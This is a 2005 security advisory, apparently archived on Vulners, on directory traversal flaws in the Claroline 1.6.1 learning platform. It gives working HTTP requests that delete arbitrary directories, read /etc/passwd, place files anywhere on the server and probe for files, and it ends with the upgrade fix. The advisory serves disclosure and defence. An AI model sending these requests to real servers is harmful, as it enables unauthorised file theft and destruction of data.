`
Product description: Claroline (http://www.claroline.net) is a free
application based on PHP /MySQL. It's a collaborative learning environment
allowing teachers or education institutions to create and administer courses
through the web.
Vulnerability: Claroline 1.6.1 is vulnerable to multiple directory traversal
attacks. You have to have teacher privileges to perform any of these.
1) Arbitrary directory deletion
GET /claroline/scorm/scormdocument.php?delete=/../../001
Any directory owned by user www can be deleted, it does not have to be
empty.
2) Arbitrary file reading
POST /claroline/document/document.php
content:
move_file=%2F../../../../../../../../etc/passwd&move_to=%2F&move_file_submit=OK
Then: GET /courses/2510/document/passwd (where 2510 is the course id)
3) Arbitrary file creation
With /claroline/document/document.php, one can upload any file with any
content (no php files)
Using the same vulnerability as (2), one could move this file to anywhere on
the system.
POST /claroline/document/document.php
content: move_file=%2Ffile.cgi&move_to=%2F../..&move_file_submit=OK
4) Checking if certain files exist on the system (much less critical)
GET
/claroline/scorm/showinframes.php?openfirst=yes&indexRoute=&file=/tmp/test.txt
GET /claroline/scorm/contents.php?file=/tmp%2Ftest.txt
Solution: upgrade to version 1.6.2, the latest release, available at
http://www.claroline.net/download.htm
Robbe De Keyzer ([email protected])
August 12, 2005
_________________________________________________________________
Gratis bloggen op MSN Spaces http://spaces.msn.com/?mkt=nl-be
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation